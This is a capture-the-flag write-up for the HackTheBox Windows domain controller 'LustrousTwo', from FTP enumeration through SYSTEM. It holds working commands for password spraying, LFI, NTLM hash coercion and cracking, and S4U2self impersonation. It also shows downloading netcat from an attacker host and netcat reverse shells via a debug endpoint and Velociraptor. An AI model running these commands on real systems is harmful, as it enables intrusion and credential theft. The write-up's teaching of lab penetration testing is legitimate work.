> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/lustroustwo-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# LustrousTwo Writeup

### Summary

This box is a Windows Active Directory domain controller that only accepts **Kerberos authentication** (NTLM is disabled). Initial access starts with anonymous FTP exposing a valid username list, which combined with a predictable "machine-name + year" password guess yields one working AD credential. That account can't touch LDAP over plaintext (signing enforced) but works fine once Kerberos is set up properly on the attack box.

The real entry point is an internal IIS/ASP.NET Core file-sharing app ("LuShare") that uses Windows/Kerberos "Negotiate" auth—it only shows up once Kerberos is configured correctly, not as a normal 404/anonymous site. The app has a path-traversal **download** endpoint (LFI), which is used to pull `web.config` and the compiled application DLL. Decompiling the DLL reveals a hidden `/File/Debug` endpoint that runs raw PowerShell if you know a hardcoded PIN found in the source.

That gives command execution as a low-privileged service account (`ShareSvc`). Coercing that service account to authenticate to a listener (via the app's own download-by-UNC-path behavior) captures its NetNTLMv2 hash, which cracks quickly against a wordlist. With the cracked password we abuse Kerberos **S4U2self** to impersonate a domain-admin-equivalent user against the web app's own service, regaining admin access to the "Debug" RCE endpoint (which was otherwise gated to admins).

From there, command length limits are worked around by dropping a netcat binary to disk and using it for a full reverse shell. On the box, a locally installed **Velociraptor** DFIR server is misconfigured with a world-readable install directory, which is not the intended ACL. Velociraptor's own `execve()` VQL query is used to run commands as **NT AUTHORITY\SYSTEM**, finishing the box.

***

### Recon

#### Nmap

```plaintext
nmap -A -p- machine-ip -oA nmap
```

| Port(s)                 | Service           | Notes                                                                       |
| ----------------------- | ----------------- | --------------------------------------------------------------------------- |
| 21                      | FTP               | Microsoft ftpd, **anonymous login allowed**                                 |
| 53                      | DNS               | Simple DNS Plus                                                             |
| 80 / 5985               | HTTP              | Microsoft IIS 10.0 / HTTPAPI 2.0 — **"Negotiate"-only** (Kerberos, no NTLM) |
| 88                      | Kerberos          | Microsoft Windows Kerberos                                                  |
| 135 / 139 / 445         | RPC / SMB         | `microsoft-ds`, signing **required**                                        |
| 389 / 636 / 3268 / 3269 | LDAP / LDAPS / GC | Domain: `Lustrous2.vl`                                                      |
| 464                     | kpasswd5          | Kerberos password change                                                    |
| 3389                    | RDP               | Microsoft Terminal Services                                                 |
| 9389                    | AD Web Services   | .NET Message Framing                                                        |

SMB signing is enforced (`Message signing enabled and required`). The LDAPS/GC certificates confirm the domain name `Lustrous2.vl` and DC hostname `LUS2DC.Lustrous2.vl`.

Port 80 specifically returned:

```plaintext
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Negotiate
```

The site is returning a `401 Unauthorized` status with a `WWW-Authenticate: Negotiate` header on every request. This is a strong signal the web app only accepts **Kerberos (SPNEGO/Negotiate)** auth—plain anonymous or NTLM requests will always get bounced with `401 Unauthorized`. Browsing to it directly confirms this—Firefox shows a generic "problem with this site / 401 Unauthorized" page, which can easily look like a dead or misconfigured site if you don't realize Kerberos is the reason:

`http://lustrous2.vl/` → *"Looks like there's a problem with this site... Error code: 401 Unauthorized"*

#### Anonymous FTP — full session

```plaintext
ftp machine-ip
```

```plaintext
Connected to machine-ip.
220 Microsoft FTP Service
Name (machine-ip:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
```

```plaintext
ftp> prompt off
Interactive mode off.
ftp> ls
```

```plaintext
09-06-24  05:20AM       <DIR>          Development
04-14-25  04:44AM       <DIR>          Homes
08-31-24  01:57AM       <DIR>          HR
08-31-24  01:57AM       <DIR>          IT
04-14-25  04:44AM       <DIR>          ITSEC
08-31-24  01:58AM       <DIR>          Production
08-31-24  01:58AM       <DIR>          SEC
226 Transfer complete.
```

`HR`, `IT`, and `Production` turned out to be empty. `ITSEC` had one file:

```plaintext
ftp> cd ITSEC
250 CWD command successful.
ftp> ls
```

```plaintext
09-07-24  03:50AM                  207 audit_draft.txt
226 Transfer complete.
```

```plaintext
ftp> get audit_draft.txt
```

```plaintext
226 Transfer complete.
207 bytes received in 00:00 (0.74 KiB/s)
```

Contents:

```plaintext
cat audit_draft.txt
```

```plaintext
Audit Report Issue Tracking
[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled
[Open] Weak User Passwords
```

This is essentially a hint sheet: NTLM is dead here (confirms the `401`/Negotiate behavior), but **weak passwords are still an open issue**—a strong pointer toward password guessing/spraying.

Then `Homes`, which turned out to hold one empty directory per domain user—effectively a leaked username list:

```plaintext
ftp> cd Homes
250 CWD command successful.
ftp> ls
```

```plaintext
09-07-24  12:03AM       <DIR>          Aaron.Norman
09-07-24  12:03AM       <DIR>          Adam.Barnes
09-07-24  12:03AM       <DIR>          Amber.Ward
...                                              [69 more directories, one per user — all empty]
09-07-24  12:03AM       <DIR>          Wayne.Taylor
226 Transfer complete.
```

#### Pulling the username list cleanly

Rather than eyeballing the `ls` output, the directory names were pulled programmatically with a heredoc FTP session and `nlist`, and saved to `users.txt`:

```plaintext
ftp -inv machine-ip <<EOF | tee users.txt
user anonymous ""
cd Homes
nlist
bye
EOF
```

```plaintext
Connected to machine-ip.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.
250 CWD command successful.
125 Data connection already open; Transfer starting.
Aaron.Norman
Adam.Barnes
...                                              [69 more names]
Wayne.Taylor
226 Transfer complete.
221 Goodbye.
```

The raw `users.txt` also contains the FTP banner/status lines mixed in with the names, since `tee` captured everything printed to the terminal. It was filtered down to just valid `Firstname.Lastname` / `ShareSvc`-style entries with `grep`:

```plaintext
grep -E '^[A-Za-z]+\.[A-Za-z]+$|^ShareSvc$' users.txt > user.txt
```

Result: 71 clean usernames in `user.txt`.

#### Username validation

```plaintext
kerbrute userenum -d lustrous2.vl --dc lus2dc.lustrous2.vl user.txt
```

```plaintext
2026/07/01 06:35:02 >  Using KDC(s):
2026/07/01 06:35:02 >   lus2dc.lustrous2.vl:88
2026/07/01 06:35:03 >  [+] VALID USERNAME:       Aaron.Norman@lustrous2.vl
2026/07/01 06:35:03 >  [+] VALID USERNAME:       Andrea.Smith@lustrous2.vl
...                                              [69 more valid hits]
2026/07/01 06:35:05 >  Done! Tested 71 usernames (71 valid) in 2.722 seconds
```

`kerbrute` confirms usernames by checking which ones return a valid Kerberos pre-auth response—no password needed. **All 71** candidates pulled from FTP came back as valid usernames, confirming the FTP folder list is a genuine user directory.

***

### Initial Foothold — Password Guessing

Since the audit note explicitly flagged "Weak User Passwords" as still open, and the box was built in 2024, a classic pattern was tried: `<MachineName><Year>`. A few guesses were tried (`Lustroustwo2024`, `LustrousTwo2024`, `Lustroustwo2024`) before landing on the right casing:

```plaintext
kerbrute passwordspray -d lustrous2.vl --dc lus2dc.lustrous2.vl user.txt Lustrous2024
```

```plaintext
2026/07/01 07:37:47 >  Using KDC(s):
2026/07/01 07:37:47 >   lus2dc.lustrous2.vl:88
2026/07/01 07:37:51 >  [+] VALID LOGIN:  Thomas.Myers@lustrous2.vl:Lustrous2024
2026/07/01 07:37:51 >  Done! Tested 71 logins (1 successes) in 4.239 seconds
```

`Thomas.Myers : Lustrous2024`—one valid hit out of 71 accounts, in a single spray attempt.

Confirmed over SMB. NTLM fails outright, but Kerberos (`-k`) works:

{% tabs %}
{% tab title="NTLM" %}

```plaintext
nxc smb machine-ip -u Thomas.Myers -p Lustrous2024
```

```plaintext
SMB   machine-ip  445    LUS2DC   [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB   machine-ip  445    LUS2DC   [-] Lustrous2.vl\Thomas.Myers:Lustrous2024 STATUS_NOT_SUPPORTED
```

{% endtab %}

{% tab title="Kerberos" %}

```plaintext
nxc smb machine-ip -u Thomas.Myers -p Lustrous2024 -k
```

```plaintext
SMB   machine-ip  445    LUS2DC   [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB   machine-ip  445    LUS2DC   [+] Lustrous2.vl\Thomas.Myers:Lustrous2024
```

{% endtab %}
{% endtabs %}

Shares available to this user were limited to the defaults (`IPC$`, `NETLOGON`, `SYSVOL`)—nothing extra to read here.

#### Getting Kerberos working properly

LDAP enumeration with plain credentials failed because signing is enforced, so a proper Kerberos ticket was needed:

```plaintext
impacket-getTGT lustrous2.vl/Thomas.Myers:Lustrous2024
export KRB5CCNAME=Thomas.Myers.ccache
```

BloodHound collection was run using that ticket:

```plaintext
bloodhound-python -u Thomas.Myers -k -no-pass -d lustrous2.vl -dc lus2dc.lustrous2.vl -ns machine-ip -c All --zip
```

```plaintext
INFO: Found AD domain: lustrous2.vl
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 4 computers
INFO: Found 75 users
INFO: Found 54 groups
INFO: Found 2 gpos / 2 ous / 19 containers / 0 trusts
INFO: Compressing output into 20260701074404_bloodhound.zip
```

Ingested into BloodHound and marked `Thomas.Myers` as Owned. At this point there wasn't much of an obvious privesc path directly from BloodHound—the useful leads came from the file server itself.

***

### Reaching the Web App (Kerberos SPN gotcha)

Visiting `http://lustrous2.vl` in a browser just showed `401 Unauthorized`—the page literally reads "Looks like there's a problem with this site... Error code: 401 Unauthorized". It looks broken, but this is expected: the site demands SPNEGO/Kerberos "Negotiate" auth that a browser without a valid domain Kerberos ticket can't satisfy.

Getting `curl --negotiate` to actually succeed took some troubleshooting. A working `/etc/hosts` and a ticket for `Thomas.Myers` weren't enough—the request kept failing with a "server not found in Kerberos database" style error even though the ticket cache clearly had a valid ticket.

**Root cause:** `/etc/hosts` mapped all three names (`lustrous2.vl`, `lus2dc.lustrous2.vl`, `LUS2DC.lustrous2.vl`) to the same IP. MIT Kerberos's default reverse-DNS canonicalization (`rdns`) rewrote the target hostname used to build the Kerberos Service Principal Name (SPN) down to just `lustrous2.vl`, but the actual SPN registered in the KDC is `HTTP/lus2dc.lustrous2.vl`. So curl was requesting a ticket for a service that doesn't exist, instead of reusing the cached correct one.

Disable that canonicalization in `/etc/krb5.conf`:

```ini
[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = LUSTROUS2.VL
    rdns = false
    dns_canonicalize_hostname = false
[realms]
    LUSTROUS2.VL = {
        kdc = lus2dc.lustrous2.vl
        admin_server = lus2dc.lustrous2.vl
        default_domain = Lustrous2.vl
    }
[domain_realm]
    .Lustrous2.vl = LUSTROUS2.VL
    Lustrous2.vl = LUSTROUS2.VL
```

`rdns = false` stops the reverse-DNS lookup that was collapsing the hostname, and `dns_canonicalize_hostname = false` stops Kerberos from doing its own forward-DNS canonicalization pass on top of that. Together they force curl's GSSAPI layer to build the SPN literally from the hostname typed in the URL (`lus2dc.lustrous2.vl`), matching what's actually registered in the KDC.

After that, `kinit` and `curl --negotiate` succeeded:

```plaintext
curl -I --negotiate -u : http://lus2dc.lustrous2.vl/
```

```plaintext
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate ...
X-Powered-By: ASP.NET
```

Fetching the page showed an internal file-sharing app called **LuShare**, greeting "Well met, LUSTROUS2\Thomas.Myers!" and listing one downloadable file, `audit.txt`—the same content as the FTP copy.

***

### LFI in the Download Endpoint

The download link took a raw `fileName` query parameter with no path sanitization:

```plaintext
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=..\..\..\..\Windows\win.ini'
```

```plaintext
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```

This confirmed a path traversal / arbitrary file read available to anyone logged in. It also became clear that the download logic could be pointed at a UNC path (`\\attacker-ip\share\x`), meaning the server itself would attempt to reach out over SMB to a path we control—a classic **NTLM auth coercion** primitive.

#### Capturing and Cracking the Service Account's Hash

To catch that inbound SMB authentication attempt, start a Responder listener:

```plaintext
sudo responder -I tun0
```

```plaintext
[+] Poisoners: LLMNR [ON]  NBT-NS [ON]  MDNS [ON]  DNS [ON]
[+] Servers:   SMB server [ON]  HTTP server [ON]  Kerberos server [ON]
[+] Listening for events...
```

Then point the download endpoint at the listener's IP as a UNC path:

```plaintext
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=//your-ip/share/x'
```

The IIS app, running as its own service account, tried to authenticate to that path over SMB. Responder captured a **NetNTLMv2 hash for** `LUSTROUS2\ShareSvc`:

```plaintext
[SMB] NTLMv2-SSP Client   : machine-ip
[SMB] NTLMv2-SSP Username : LUSTROUS2\ShareSvc
[SMB] NTLMv2-SSP Hash     : ShareSvc::LUSTROUS2:<redacted-challenge>:<redacted-response-blob>
```

This is a **NetNTLMv2 challenge/response**, not the account's raw password hash. It cannot be replayed directly, but it can be cracked offline by trying candidate passwords against the same challenge/response math.

```plaintext
cat > svc.hash << 'EOF'
ShareSvc::LUSTROUS2:<redacted-hash>
EOF
john --wordlist=/usr/share/wordlists/rockyou.txt svc.hash
```

```plaintext
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
1g 0:00:00:06 DONE (2026-07-01 08:54) 0.1587g/s 2275Kp/s 2275Kc/s 2275KC/s
```

`john` recovered a valid plaintext password for `ShareSvc` in about 6 seconds.

```plaintext
nxc smb lus2dc.lustrous2.vl -u ShareSvc -p '<redacted>' -k
```

```plaintext
SMB   lus2dc.lustrous2.vl 445    lus2dc   [+] lustrous2.vl\ShareSvc:<redacted>
```

`ShareSvc` itself had no interesting group memberships or share access in BloodHound, so this password is a dead end on its own—but it becomes useful once the app's admin-gated `/File/Debug` backdoor is found.

#### Pulling the app's own source

Rather than guess at the app's logic, its own files were read off disk via the LFI:

```plaintext
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=../../web.config'
```

```xml
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <location path="." inheritInChildApplications="false">
    <system.webServer>
      <handlers>
        <add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />
      </handlers>
      <aspNetCore processPath="dotnet" arguments=".\LuShare.dll" ... hostingModel="inprocess" />
    </system.webServer>
  </location>
</configuration>
<!--ProjectGuid: 4E46018E-B73C-4E7B-8DA2-87855F22435A-->
```

This confirmed the app is an ASP.NET Core app run in-process by IIS as `LuShare.dll`.

```plaintext
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=../../LuShare.dll' --output LuShare.dll
```

```plaintext
file LuShare.dll
LuShare.dll: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
```

Decompile it with `ilspycmd`:

```plaintext
ilspycmd LuShare.dll -o lushare-decompiled
```

#### What the source revealed

The site has an `/File/Upload` and a hidden `/File/Debug` action, both restricted to the `ShareAdmins` AD role. In `_Layout.cshtml`, the `Debug` navigation link is present in the code but wrapped in an HTML comment, so it never renders in the UI even for admins:

```html
<!--
<li class="nav-item">
    <a class="nav-link" href="...Debug">Debug</a>
</li>
-->
```

The two vulnerable controller actions in `FileController.cs`, trimmed to the relevant parts:

**Download**

No path sanitization—the LFI root cause:

```csharp
public IActionResult Download(string fileName)
{
    if (string.IsNullOrEmpty(fileName))
        return NotFound();

    string path = Path.Combine(_uploadFolder, fileName);   // fileName is trusted as-is — "..\..\" and
                                                             // UNC paths ("\\host\share\x") both pass through
    if (!System.IO.File.Exists(path))
        return NotFound();
    ...
    return File(memoryStream, "application/octet-stream", fileName);
}
```

**Debug**

Hardcoded PIN gating raw PowerShell execution:

```csharp
[Authorize(Roles = "ShareAdmins")]
[HttpPost]
public IActionResult Debug(string command, string pin)
{
    string text = "ba45c518";                                 // <-- the PIN is hardcoded, baked straight into the compiled DLL
    if (string.IsNullOrWhiteSpace(command) || command.Length > 100)
        return BadRequest("Invalid or too long command.");
    if (string.IsNullOrWhiteSpace(pin) || pin != text)
        return BadRequest("Invalid PIN.");

    PowerShell val = PowerShell.Create();
    val.Runspace.SessionStateProxy.LanguageMode = (PSLanguageMode)3;  // FullLanguage — no constrained-language sandboxing
    val.AddScript(command, false);                            // <-- caller-supplied command executed verbatim
    Collection<PSObject> collection = val.Invoke();
    ...
}
```

Because the PIN check is `pin != text` against a value compiled directly into the DLL, decompiling the application fully bypasses the apparent secret. Combined with `[Authorize(Roles = "ShareAdmins")]`, the remaining barrier is membership in `ShareAdmins`.

BloodHound confirmed that group has exactly two members: `Ryan.Davies` and `Sharon.Birch`.

***

### Privilege Escalation to `ShareAdmins` via Kerberos S4U2self

`ShareSvc` runs the web app's service and, according to BloodHound node data on `Ryan.Davies` and `Sharon.Birch`, those two accounts were both marked sensitive but not protected from delegation. This allows requesting a service ticket as `Ryan.Davies` for the service that `ShareSvc` owns: `HTTP/lus2dc.lustrous2.vl`.

```plaintext
impacket-getST -self -impersonate ryan.davies -k \
  'LUSTROUS2.VL/ShareSvc:<redacted-password>' \
  -altservice HTTP/lus2dc.lustrous2.vl -no-pass
```

```plaintext
Impacket v0.14.0.dev0
[*] Getting TGT for user
[*] Impersonating ryan.davies
[*] Requesting S4U2self
[*] Changing service from ShareSvc@LUSTROUS2.VL to HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
[*] Saving ticket in ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
```

Load that ticket:

```plaintext
export KRB5CCNAME=/tmp/ryan.ccache
klist
```

```plaintext
Ticket cache: FILE:/tmp/ryan.ccache
Default principal: ryan.davies@LUSTROUS2.VL
Valid starting       Expires              Service principal
07/01/2026 09:59:58  07/01/2026 19:59:58  HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
```

To make sure curl's GSSAPI layer reliably picks up this impersonated ticket instead of falling back to another cache, pin a default ccache path in `/etc/krb5.conf`:

```ini
[libdefaults]
    default_realm = LUSTROUS2.VL
    dns_lookup_kdc = false
    dns_lookup_realm = false
    dns_canonicalize_hostname = false
    rdns = false
    default_ccache_name = FILE:/home/kali/krb5cc
```

Using this ticket against the web app now shows the **Upload** navigation link and the hidden **Debug** page because `Ryan.Davies` is a member of `ShareAdmins`:

```plaintext
curl --negotiate -u : 'http://lus2dc.lustrous2.vl'
```

```plaintext
<p class="nav navbar-text">Well met, LUSTROUS2\Ryan.Davies!</p>
...
<a class="nav-link" href="/File/Upload">Upload</a>
```

***

### RCE via the `/File/Debug` Backdoor

With admin-role access and the hardcoded PIN recovered from the decompiled source, arbitrary PowerShell executes as the app's service account:

```plaintext
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
  -d "pin=<redacted-pin>" -d "command=whoami"
```

```plaintext
lustrous2\sharesvc
```

Basic filesystem recon:

```plaintext
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
  -d "pin=<redacted-pin>" -d 'command=ls C:\'
```

```plaintext
C:\datastore
C:\inetpub
C:\PerfLogs
C:\Program Files
C:\Program Files (x86)
C:\Public
C:\temp
C:\Users
C:\Windows
C:\user_<redacted>.txt
```

`C:\datastore` immediately stood out as a non-standard, top-level directory. It hinted that a non-standard service had been installed on the host.

Read the user flag through the same channel:

```plaintext
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
  -d "pin=<redacted-pin>" -d 'command=type C:\user_<redacted>.txt'
```

```plaintext
<user flag, redacted>
```

The 100-character command cap prevents long base64-encoded PowerShell reverse shells:

```plaintext
curl ... -d 'command=powershell -e <long base64 payload>'
```

```plaintext
Invalid or too long command.
```

Use a short two-step approach instead: download a netcat binary, then execute it directly.

{% stepper %}
{% step %}

### Create a temporary directory

```plaintext
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=mkdir C:\temp'
```

{% endstep %}

{% step %}

### Download netcat

```plaintext
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=iwr http://your-ip/nc64.exe -OutFile C:\temp\nc64.exe'
```

{% endstep %}

{% step %}

### Launch the reverse shell

```plaintext
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=cmd /c C:\temp\nc64.exe your-ip 4444 -e powershell'
```

{% endstep %}
{% endstepper %}

This pops a full interactive reverse shell:

```plaintext
whoami
```

```plaintext
lustrous2\sharesvc
```

***

### SYSTEM via Velociraptor

Following the lead from the unusual `C:\datastore` directory, check `C:\Program Files`:

```plaintext
dir C:\"Program Files"
```

```plaintext
C:\Program Files\Amazon
C:\Program Files\Common Files
C:\Program Files\dotnet
C:\Program Files\IIS
C:\Program Files\Internet Explorer
C:\Program Files\ModifiableWindowsApps
C:\Program Files\Velociraptor
C:\Program Files\VelociraptorServer
C:\Program Files\VMware
C:\Program Files\Windows Defender
...
```

**Velociraptor** is an open-source DFIR and endpoint-monitoring platform. If its server configuration or API access can be reached, it can run arbitrary VQL queries, including shell-out queries, as the account running the Velociraptor service.

`C:\Program Files\Velociraptor` denied access:

```plaintext
dir C:\"Program Files\Velociraptor"
```

```plaintext
Errors:
Access to the path 'C:\Program Files\Velociraptor' is denied.
```

However, the sibling `VelociraptorServer` directory was readable and contained the following files:

```plaintext
dir C:\"Program Files\VelociraptorServer"
```

```plaintext
C:\Program Files\VelociraptorServer\client.config.yaml
C:\Program Files\VelociraptorServer\server.config.yaml
C:\Program Files\VelociraptorServer\velociraptor-v0.72.4-windows-amd64.exe
```

Both YAML files were readable by `ShareSvc`. Use the server config to mint an API client configuration:

```plaintext
.\velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client \
  --name admin --role administrator \programdata\api.config.yaml
```

```plaintext
[ERROR] Unable to open file \\?\c:\datastore\config\inventory.json.db: Access is denied.
Creating API client file on \programdata\api.config.yaml.
[ERROR] Unable to open file \\?\c:\datastore\acl\admin.json.db: Access is denied.
velociraptor-v0.72.4-windows-amd64.exe: error: config api_client: Unable to set role ACL: Access is denied.
```

Although it throws access-denied errors while updating datastore ACL files, it still successfully writes a usable `api.config.yaml` before hitting those errors.

Confirm host information and privilege level:

```plaintext
.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM info()" --format jsonl
```

```json
{"Hostname":"LUS2DC","OS":"windows","Platform":"Microsoft Windows Server 2022 Standard","IsAdmin":true,"Fqdn":"LUS2DC.Lustrous2.vl","Architecture":"amd64"}
```

Execute a command using Velociraptor's VQL query engine:

```plaintext
.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query \
  "SELECT * FROM execve(argv=['powershell','-c','whoami'])"
```

```json
[{"Stdout":"nt authority\\system\r\n","Stderr":"","ReturnCode":0,"Complete":true}]
```

**Confirmed SYSTEM.**

Launch a full reverse shell:

```plaintext
.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query \
  "SELECT * FROM execve(argv=['C:\\temp\\nc64.exe','-e','powershell','your-ip','3333'])"
```

Caught a shell as `nt authority\system`:

```plaintext
whoami
```

```plaintext
nt authority\system
```

Read the root flag:

```plaintext
cd C:\Users\Administrator\Desktop
type root.txt
```

```plaintext
<root flag, redacted>
```

***

### Attack Chain (End to End)

{% stepper %}
{% step %}

### Recon

Nmap shows a Kerberos-only AD DC; the IIS site returns `401 Unauthorized` with `Negotiate`.
{% endstep %}

{% step %}

### Harvest usernames

Anonymous FTP leaks a full valid AD username list plus an audit note that flags **weak passwords** as an unresolved issue.
{% endstep %}

{% step %}

### Validate accounts

Kerbrute confirms all 71 harvested usernames are real accounts.
{% endstep %}

{% step %}

### Guess an initial password

Password guessing with `Lustrous2024`, following a `<name><year>` pattern, compromises `Thomas.Myers`.
{% endstep %}

{% step %}

### Configure Kerberos hostname handling

Fix local Kerberos SPN canonicalization with `rdns = false` so the DC's Kerberos-protected web app becomes reachable.
{% endstep %}

{% step %}

### Exploit file read

Discover the **LuShare** internal file app and abuse a path traversal in its download endpoint to read arbitrary files.
{% endstep %}

{% step %}

### Capture the service account hash

Trigger the download endpoint against a UNC path, coercing the app's `ShareSvc` service account to authenticate to a Responder listener. Capture and crack its NetNTLMv2 hash.
{% endstep %}

{% step %}

### Discover the hidden backdoor

Use LFI to pull `web.config` and `LuShare.dll`, then decompile the DLL. This reveals a hidden `/File/Debug` PowerShell-execution endpoint gated by a hardcoded PIN and `ShareAdmins` membership.
{% endstep %}

{% step %}

### Impersonate a ShareAdmins member

Use `ShareSvc`'s recovered password for Kerberos S4U2self impersonation of `Ryan.Davies`, gaining admin-role access to the web app without his password.
{% endstep %}

{% step %}

### Obtain RCE as ShareSvc

Use the accessible `/File/Debug` endpoint and hardcoded PIN to get PowerShell RCE as `ShareSvc`. Stage `nc64.exe` to work around the 100-character command limit and obtain a reverse shell.
{% endstep %}

{% step %}

### Escalate to SYSTEM

Find the misconfigured Velociraptor server installation, mint an API client credential, and use Velociraptor's `execve()` VQL query to run commands and a reverse shell as **NT AUTHORITY\SYSTEM**.
{% endstep %}

{% step %}

### Complete the box

Read `root.txt`.
{% endstep %}
{% endstepper %}

***

### Key Vulnerabilities / Root Causes

1. **Anonymous FTP** on the DC leaking a full internal username list through `Homes` directory names and exposing an internal audit note.
2. **Predictable AD password** using a `<MachineName><Year>` pattern.
3. **Kerberos-only web app misconfigured for discovery**—the working site returned `401 Unauthorized` with `Negotiate` until Kerberos SPN resolution was fixed client-side.
4. **Path traversal / LFI** in the LuShare file-download feature, enabling arbitrary file read as any authenticated domain user.
5. **Hardcoded debug backdoor** at `/File/Debug` that accepts a static PIN and executes arbitrary PowerShell, limited only by `ShareAdmins` authorization and a 100-character command cap.
6. **NTLM authentication coercion** through attacker-controlled UNC paths in the download endpoint.
7. **Weak service account password**, cracked from the captured NetNTLMv2 response in seconds.
8. **Kerberos S4U2self abuse**, allowing the service account to request tickets as other users for its own service.
9. **Insecure Velociraptor deployment** with accessible configuration and API materials enabling SYSTEM-level command execution.

***

### References

* [Configuring Kerberos Authentication on IIS Website — Windows OS Hub](https://woshub.com/configuring-kerberos-authentication-on-iis-website/) — background on why the site only responds to `Negotiate`/Kerberos and how SPNs are resolved.
* [Threat Hunting: Velociraptor for Endpoint Monitoring — hackingarticles.in](https://www.hackingarticles.in/threat-hunting-velociraptor-for-endpoint-monitoring/) — background on Velociraptor's architecture and query interface, used to identify the `execve()` privesc path.
